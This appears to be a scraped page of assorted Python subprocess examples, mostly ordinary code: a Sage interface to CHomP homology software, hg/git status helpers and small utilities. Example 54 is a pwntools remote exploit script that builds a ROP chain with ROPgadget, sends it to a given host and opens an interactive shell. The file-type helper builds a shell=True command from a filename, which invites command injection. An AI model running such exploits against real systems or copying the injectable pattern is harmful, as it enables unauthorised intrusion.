        # output = Popen([program, datafile, subfile, extra_opts],
        cmd = [program, datafile]
        if subfile:
            cmd.append(subfile)
        if extra_opts:
            cmd.extend(extra_opts)
        output = Popen(cmd, stdout=PIPE).communicate()[0]
        if verbose:
            print(output)
            print("End of CHomP output")
            print("")
        if generators:
            gens = open(genfile, 'r').read()
            if verbose:
                print("Generators:")
                print(gens)
        #
        #    process output
        #
        if output.find('ERROR') != -1:
            raise RuntimeError('error inside CHomP')
        # output contains substrings of one of the forms
        # "H_1 = Z", "H_1 = Z_2 + Z", "H_1 = Z_2 + Z^2",
        # "H_1 = Z + Z_2 + Z"
        if output.find('trivial') != -1:
            if mod_p:
                return {0: VectorSpace(base_ring, 0)}
            else:
                return {0: HomologyGroup(0, ZZ)}
        d = {}
        h = re.compile("^H_([0-9]*) = (.*)$", re.M)
        tors = re.compile("Z_([0-9]*)")
        #
        #    homology groups
        #
        for m in h.finditer(output):
            if verbose:
                print(m.groups())
            # dim is the dimension of the homology group
            dim = int(m.group(1))
            # hom_str is the right side of the equation "H_n = Z^r + Z_k + ..."
            hom_str = m.group(2)
            # need to read off number of summands and their invariants
            if hom_str.find("0") == 0:
                if mod_p:
                    hom = VectorSpace(base_ring, 0)
                else:
                    hom = HomologyGroup(0, ZZ)
            else:
                rk = 0
                if hom_str.find("^") != -1:
                    rk_srch = re.search(r'\^([0-9]*)\s?', hom_str)
                    rk = int(rk_srch.group(1))
                rk += len(re.findall("(Z$)|(Z\s)", hom_str))
                if mod_p:
                    rk = rk if rk != 0 else 1
                    if verbose:
                        print("dimension = %s, rank of homology = %s" % (dim, rk))
                    hom = VectorSpace(base_ring, rk)
                else:
                    n = rk
                    invts = []
                    for t in tors.finditer(hom_str):
                        n += 1
                        invts.append(int(t.group(1)))
                    for i in range(rk):
                        invts.append(0)
                    if verbose:
                        print("dimension = %s, number of factors = %s, invariants = %s" % (dim, n, invts))
                    hom = HomologyGroup(n, ZZ, invts)

            #
            #    generators
            #
            if generators:
                if cubical:
                    g = process_generators_cubical(gens, dim)
                    if verbose:
                        print("raw generators: %s" % g)
                    if g:
                        module = CombinatorialFreeModule(base_ring,
                                                         original_complex.n_cells(dim),
                                                         prefix="",
                                                         bracket=True)
                        basis = module.basis()
                        output = []
                        for x in g:
                            v = module(0)
                            for term in x:
                                v += term[0] * basis[term[1]]
                            output.append(v)
                        g = output
                elif simplicial:
                    g = process_generators_simplicial(gens, dim, complex)
                    if verbose:
                        print("raw generators: %s" % gens)
                    if g:
                        module = CombinatorialFreeModule(base_ring,
                                                         complex.n_cells(dim),
                                                         prefix="",
                                                         bracket=False)
                        basis = module.basis()
                        output = []
                        for x in g:
                            v = module(0)
                            for term in x:
                                if complex._is_numeric():
                                    v += term[0] * basis[term[1]]
                                else:
                                    translate = complex._translation_from_numeric()
                                    simplex = Simplex([translate[a] for a in term[1]])
                                    v += term[0] * basis[simplex]
                            output.append(v)
                        g = output
                elif chain:
                    g = process_generators_chain(gens, dim, base_ring)
                    if verbose:
                        print("raw generators: %s" % gens)
                if g:
                    if not mod_p:
                        # sort generators to match up with corresponding invariant
                        g = [_[1] for _ in sorted(zip(invts, g), key=lambda x: x[0])]
                    d[dim] = (hom, g)
                else:
                    d[dim] = hom
            else:
                d[dim] = hom

        if chain:
            new_d = {}
            diff = complex.differential()
            if len(diff) == 0:
                return {}
            bottom = min(diff)
            top = max(diff)
            for dim in d:
                if complex._degree_of_differential == -1:  # chain complex
                    new_dim = bottom + dim
                else: # cochain complex
                    new_dim = top - dim
                if isinstance(d[dim], tuple):
                    # generators included.
                    group = d[dim][0]
                    gens = d[dim][1]
                    new_gens = []
                    dimension = complex.differential(new_dim).ncols()
                    # make sure that each vector is embedded in the
                    # correct ambient space: pad with a zero if
                    # necessary.
                    for v in gens:
                        v_dict = v.dict()
                        if dimension - 1 not in v.dict():
                            v_dict[dimension - 1] = 0
                            new_gens.append(vector(base_ring, v_dict))
                        else:
                            new_gens.append(v)
                    new_d[new_dim] = (group, new_gens)
                else:
                    new_d[new_dim] = d[dim]
            d = new_d
        return d
Ejemplo n.º 46
0
def get_hg():
    hg_rev, error = Popen('hg id -b -n', stdout=PIPE, stderr=PIPE, shell=True).communicate()
    if error:
        errorlog('error@115', error)
        return None
    hg_rev, hg_branch = hg_rev.strip().split(" ")
    debuglog('branch', hg_branch)
    hg_rev = hg_rev.replace('+', '←').strip('←')
    try:
        hg_rev = int(hg_rev)
        if hg_rev < 0:
            return None
        hg_rev = str(hg_rev)
    except:
        pass
    hg_counts_cmd = 'hg status | grep -v \'.orig\'| awk \'{arr[$1]+=1} END {for (i in arr) {print i,arr[i]}}\''
    hg_counts = {
        'S': 0, #staged,
        'X': 0, #conflicts,
        'M': 0, #changed,
        '?': 0, #untracked,
        'C': 1  #clean
    }
    if hg_rev.find('←') >= 0:
        hg_counts['X'] = int(Popen('hg resolve --list | wc -l', stdout=PIPE, shell=True).communicate()[0].strip())
    for line in Popen(hg_counts_cmd, stdout=PIPE, shell=True).communicate()[0].strip().split("\n"):
        if line == '':
            continue
        hgst, count = line.split()
        hgst = hgst.replace('!', '?')
        hgst = hgst.replace('A', 'S')
        hgst = hgst.replace('R', 'S')
        hg_counts[hgst] += int(count)
        hg_counts['C'] = 0
    
    if (hg_counts['X']) > 0:
        hg_counts['M'] -= hg_counts['X']
    ahead, error = Popen('hg phase -r 0::tip | grep "draft" | wc -l', stdout=PIPE, stderr=PIPE, shell=True).communicate()
    if error:
        errorlog('error@151', error)
        ahead = 0
    else:
        ahead = int(ahead)
    cmdline = 'hg log -r \'%s::branch("%s")\' -b \'%s\' | grep changeset | wc -l' % (hg_rev, hg_branch, hg_branch)
    debuglog('hg behind cmdline', cmdline)
    behind, error = Popen(cmdline, stdout=PIPE, stderr=PIPE, shell=True).communicate()
    if error:
        errorlog('error@156', error)
        behind = 0
    else:
        behind = int(behind) - 1
    remote = ''
    if behind:
        remote += '%s%s' % (symbols['behind'], behind)
    if ahead:
        remote += '%s%s' % (symbols['ahead of'], ahead)

    if remote == "":
        remote = '.'
    out = [
        'hg',
        '%s:%s' % (hg_branch, hg_rev),
        remote,
        str(hg_counts['S']), #staged,
        str(hg_counts['X']), #conflicts,
        str(hg_counts['M']), #changed,
        str(hg_counts['?']), #untracked,
        str(hg_counts['C'])  #clean
    ]
    return out
Ejemplo n.º 47
0
def check_file_type(fname, need_type):
    s = Popen('file "{0}"'.format(fname), stdout=PIPE,
              shell=True).stdout.read()
    if s.find(need_type) != -1:
        return True
    return False
Ejemplo n.º 48
0
#!/usr/bin/env python

from json import loads
from re import sub
from time import strftime, localtime
from subprocess import Popen, PIPE

# Get raw.
raw = Popen("curl -silent http://www.cbssports.com/nhl/scoreboard/".split(),
                        stdout=PIPE).stdout.read()

# Find scores, remove breaks, condense spaces.
start = raw.find("var NHLatl") + 106
end = raw.find("video_links") - 6

raw = sub("[ \t\n]+", " ", raw[start:end])

# Load JSON.
results = loads(raw)['games']

# Print results
print "----------------------------------------------"
print "                      NHL                      "
print "----------------------------------------------"
for k, v in results.iteritems():
    if v['game_status'] == "F":
        per = "Final"
        time = ""
    elif v['game_status'] == "S":
        per = "Scheduled: "
        t = v['schedule_time']
Ejemplo n.º 49
0
    if os.path.exists("./dmcp"):
        PATH = "./dmcp"
    elif os.path.exists("./main"):
        PATH = "./main"
    else:
        print("Error: executable not found. Compile main.c, please")
        sys.exit()

# Getting list of available modules

list = Popen(PATH, stderr=PIPE, stdin=PIPE)
list.stdin.write(b"l\ne\n")

out, err = list.communicate()
list = err.decode()
list = list[list.find("List of available modules"):]

regex = r"[N|Z|Q|P]\-\d[ \d]"

modules = re.finditer(regex, list, re.MULTILINE)
modules = [module[0][0] + module[0][2:].strip() for module in modules]

# Running

argv = sys.argv[1:]

if len(argv) >= 1:

    for module in argv:
        module = module.upper()
Ejemplo n.º 50
0
def is_running(process):
    processes = Popen(["ps", "xa", "-o", "args"], stdout=PIPE)
    running = Popen(["grep", process], stdin=processes.stdout, stdout=PIPE).communicate()[0]
    if running.find(process + " ") >= 0:
        return running
    return ""
Ejemplo n.º 51
0
#! /usr/bin/env python

import sys
from os import path
import re

from subprocess import Popen,PIPE
output = Popen(["hg", "branch"], stdout=PIPE).communicate()[0]
isPackage = (output.find("debian")==0)

readme=open(path.join(path.dirname(sys.argv[0]),"..","README"))

reldate="no date"
verstring="undefined"
extension=""

verline=re.compile("\*\* (.+) - version number : (.+)")

for l in readme.readlines():
    m=verline.match(l)
    if m:
        if isPackage and m.group(1).find("Next")==0:
            print "Keeping the last real version number",verstring
            continue
        reldate=m.group(1)
        grp=m.group(2).split()
        verstring=grp[0]
        extension=" ".join(grp[1:])

vmajor,vminor,vpatch=verstring.split(".")
Ejemplo n.º 52
0
    def __call__(self, program, complex, subcomplex=None, **kwds):
        """
        Call a CHomP program to compute the homology of a chain
        complex, simplicial complex, or cubical complex.

        See :class:`CHomP` for full documentation.

        EXAMPLES::

            sage: from sage.interfaces.chomp import CHomP
            sage: T = cubical_complexes.Torus()
            sage: CHomP()('homcubes', T) # indirect doctest, optional - CHomP
            {0: 0, 1: Z x Z, 2: Z}
        """
        from sage.misc.temporary_file import tmp_filename
        from sage.homology.all import CubicalComplex, cubical_complexes
        from sage.homology.all import SimplicialComplex, Simplex
        from sage.homology.chain_complex import HomologyGroup
        from subprocess import Popen, PIPE
        from sage.rings.all import QQ, ZZ
        from sage.modules.all import VectorSpace, vector
        from sage.combinat.free_module import CombinatorialFreeModule

        if not have_chomp(program):
            raise OSError("Program %s not found" % program)

        verbose = kwds.get('verbose', False)
        generators = kwds.get('generators', False)
        extra_opts = kwds.get('extra_opts', '')
        base_ring = kwds.get('base_ring', ZZ)

        if extra_opts:
            extra_opts = extra_opts.split()
        else:
            extra_opts = []

        # type of complex:
        cubical = False
        simplicial = False
        chain = False
        # CHomP seems to have problems with cubical complexes if the
        # first interval in the first cube defining the complex is
        # degenerate.  So replace the complex X with [0,1] x X.
        if isinstance(complex, CubicalComplex):
            cubical = True
            edge = cubical_complexes.Cube(1)
            original_complex = complex
            complex = edge.product(complex)
            if verbose:
                print("Cubical complex")
        elif isinstance(complex, SimplicialComplex):
            simplicial = True
            if verbose:
                print("Simplicial complex")
        else:
            chain = True
            base_ring = kwds.get('base_ring', complex.base_ring())
            if verbose:
                print("Chain complex over %s" % base_ring)

        if base_ring == QQ:
            raise ValueError(
                "CHomP doesn't compute over the rationals, only over Z or F_p."
            )
        if base_ring.is_prime_field():
            p = base_ring.characteristic()
            extra_opts.append('-p%s' % p)
            mod_p = True
        else:
            mod_p = False

        #
        #    complex
        #
        try:
            data = complex._chomp_repr_()
        except AttributeError:
            raise AttributeError(
                "Complex cannot be converted to use with CHomP.")

        datafile = tmp_filename()
        with open(datafile, 'w') as f:
            f.write(data)

        #
        #    subcomplex
        #
        if subcomplex is None:
            if cubical:
                subcomplex = CubicalComplex([complex.n_cells(0)[0]])
            elif simplicial:
                m = re.search(r'\(([^,]*),', data)
                v = int(m.group(1))
                subcomplex = SimplicialComplex([[v]])
        else:
            # replace subcomplex with [0,1] x subcomplex.
            if cubical:
                subcomplex = edge.product(subcomplex)
        #
        #    generators
        #
        if generators:
            genfile = tmp_filename()
            extra_opts.append('-g%s' % genfile)

        #
        #    call program
        #
        if subcomplex is not None:
            try:
                sub = subcomplex._chomp_repr_()
            except AttributeError:
                raise AttributeError(
                    "Subcomplex cannot be converted to use with CHomP.")
            subfile = tmp_filename()
            with open(subfile, 'w') as f:
                f.write(sub)
        else:
            subfile = ''
        if verbose:
            print("Popen called with arguments", end="")
            print([program, datafile, subfile] + extra_opts)
            print("")
            print("CHomP output:")
            print("")
        # output = Popen([program, datafile, subfile, extra_opts],
        cmd = [program, datafile]
        if subfile:
            cmd.append(subfile)
        if extra_opts:
            cmd.extend(extra_opts)
        output = Popen(cmd, stdout=PIPE).communicate()[0]
        if verbose:
            print(output)
            print("End of CHomP output")
            print("")
        if generators:
            with open(genfile, 'r') as f:
                gens = f.read()
            if verbose:
                print("Generators:")
                print(gens)
        #
        #    process output
        #
        if output.find('ERROR') != -1:
            raise RuntimeError('error inside CHomP')
        # output contains substrings of one of the forms
        # "H_1 = Z", "H_1 = Z_2 + Z", "H_1 = Z_2 + Z^2",
        # "H_1 = Z + Z_2 + Z"
        if output.find('trivial') != -1:
            if mod_p:
                return {0: VectorSpace(base_ring, 0)}
            else:
                return {0: HomologyGroup(0, ZZ)}
        d = {}
        h = re.compile("^H_([0-9]*) = (.*)$", re.M)
        tors = re.compile("Z_([0-9]*)")
        #
        #    homology groups
        #
        for m in h.finditer(output):
            if verbose:
                print(m.groups())
            # dim is the dimension of the homology group
            dim = int(m.group(1))
            # hom_str is the right side of the equation "H_n = Z^r + Z_k + ..."
            hom_str = m.group(2)
            # need to read off number of summands and their invariants
            if hom_str.find("0") == 0:
                if mod_p:
                    hom = VectorSpace(base_ring, 0)
                else:
                    hom = HomologyGroup(0, ZZ)
            else:
                rk = 0
                if hom_str.find("^") != -1:
                    rk_srch = re.search(r'\^([0-9]*)\s?', hom_str)
                    rk = int(rk_srch.group(1))
                rk += len(re.findall(r"(Z$)|(Z\s)", hom_str))
                if mod_p:
                    rk = rk if rk != 0 else 1
                    if verbose:
                        print("dimension = %s, rank of homology = %s" %
                              (dim, rk))
                    hom = VectorSpace(base_ring, rk)
                else:
                    n = rk
                    invts = []
                    for t in tors.finditer(hom_str):
                        n += 1
                        invts.append(int(t.group(1)))
                    for i in range(rk):
                        invts.append(0)
                    if verbose:
                        print(
                            "dimension = %s, number of factors = %s, invariants = %s"
                            % (dim, n, invts))
                    hom = HomologyGroup(n, ZZ, invts)

            #
            #    generators
            #
            if generators:
                if cubical:
                    g = process_generators_cubical(gens, dim)
                    if verbose:
                        print("raw generators: %s" % g)
                    if g:
                        module = CombinatorialFreeModule(
                            base_ring,
                            original_complex.n_cells(dim),
                            prefix="",
                            bracket=True)
                        basis = module.basis()
                        output = []
                        for x in g:
                            v = module(0)
                            for term in x:
                                v += term[0] * basis[term[1]]
                            output.append(v)
                        g = output
                elif simplicial:
                    g = process_generators_simplicial(gens, dim, complex)
                    if verbose:
                        print("raw generators: %s" % gens)
                    if g:
                        module = CombinatorialFreeModule(base_ring,
                                                         complex.n_cells(dim),
                                                         prefix="",
                                                         bracket=False)
                        basis = module.basis()
                        output = []
                        for x in g:
                            v = module(0)
                            for term in x:
                                if complex._is_numeric():
                                    v += term[0] * basis[term[1]]
                                else:
                                    translate = complex._translation_from_numeric(
                                    )
                                    simplex = Simplex(
                                        [translate[a] for a in term[1]])
                                    v += term[0] * basis[simplex]
                            output.append(v)
                        g = output
                elif chain:
                    g = process_generators_chain(gens, dim, base_ring)
                    if verbose:
                        print("raw generators: %s" % gens)
                if g:
                    if not mod_p:
                        # sort generators to match up with corresponding invariant
                        g = [
                            _[1]
                            for _ in sorted(zip(invts, g), key=lambda x: x[0])
                        ]
                    d[dim] = (hom, g)
                else:
                    d[dim] = hom
            else:
                d[dim] = hom

        if chain:
            new_d = {}
            diff = complex.differential()
            if len(diff) == 0:
                return {}
            bottom = min(diff)
            top = max(diff)
            for dim in d:
                if complex._degree_of_differential == -1:  # chain complex
                    new_dim = bottom + dim
                else:  # cochain complex
                    new_dim = top - dim
                if isinstance(d[dim], tuple):
                    # generators included.
                    group = d[dim][0]
                    gens = d[dim][1]
                    new_gens = []
                    dimension = complex.differential(new_dim).ncols()
                    # make sure that each vector is embedded in the
                    # correct ambient space: pad with a zero if
                    # necessary.
                    for v in gens:
                        v_dict = v.dict()
                        if dimension - 1 not in v.dict():
                            v_dict[dimension - 1] = 0
                            new_gens.append(vector(base_ring, v_dict))
                        else:
                            new_gens.append(v)
                    new_d[new_dim] = (group, new_gens)
                else:
                    new_d[new_dim] = d[dim]
            d = new_d
        return d
Ejemplo n.º 53
0
def youroot():
    p, error = Popen(['whoami'], stdout=PIPE).communicate()
    result = u'(внимание привелегии root)'if p.find('root')!=-1 else u'(Вы не root)'
    return result
Ejemplo n.º 54
0
from pwn import *
from subprocess import Popen, PIPE
import sys

context.log_level = 'DEBUG'

if len(sys.argv) != 4:
    print("USAGE {}: python [SCRIPT] [BINARY] [HOST] [PORT]".format(
        sys.argv[0]))
    exit(0)

context.binary = sys.argv[1]
HOST = sys.argv[2]
PORT = sys.argv[3]
#padding =

stdout = Popen(["ROPgadget", "--ropchain", "--binary", context.binary.path],
               stdout=PIPE).communicate()[0]
pycode = stdout[stdout.find("#!"):].replace("\t", "")
exec(pycode)

ropchain = p

conn = remote(HOST, PORT)
conn.sendline(fit({padding: ropchain}))
conn.interactive()
conn.close()
Ejemplo n.º 55
0
                write(sep)
            write(arg)
        write(end)


hgbranch = None

from subprocess import Popen, PIPE
try:
    output = Popen(["hg", "branch"], stdout=PIPE).communicate()[0]
    try:
        output = output.decode()
    except AttributeError:
        # Python 2. This is already a string
        pass
    isPackage = (output.find("debian") == 0)
    hgbranch = str(output).strip()
except OSError:
    # there is no mercurial
    isPackage = False

readme = open(path.join(path.dirname(sys.argv[0]), "..", "README"))

reldate = "no date"
verstring = "undefined"
extension = ""

verline = re.compile("\*\* (.+) - version number : (.+)")

for l in readme.readlines():
    m = verline.match(l)
Ejemplo n.º 56
0
            'git', 'rev-list', '--left-right',
            'origin/%s...%s' % (branch, branch)
        ],
                        stdout=PIPE,
                        stderr=PIPE).communicate()[0]
        behead = revlist.decode("utf-8").splitlines()
        ahead = len([x for x in behead if x[0] == '>'])
        behind = len(behead) - ahead

status_message = Popen([
    'git',
    'status',
], stdout=PIPE).communicate()[0].decode("utf-8")
status = '0'
# print(status_message)
if status_message.find('You are currently rebasing') >= 0:
    status = 'R'
elif status_message.find('You are currently cherry-picking') >= 0:
    status = 'C'
elif status_message.startswith('On') and nb_U > 0:
    status = 'S'

out = ' '.join([
    branch,
    str(ahead),
    str(behind),
    staged,
    conflicts,
    changed,
    untracked,
    status,
Ejemplo n.º 57
0
def check_file_type(fname, need_type):
    s = Popen('file "{0}"'.format(fname), stdout=PIPE, shell=True).stdout.read()
    if s.find(need_type) != -1:
        return True
    return False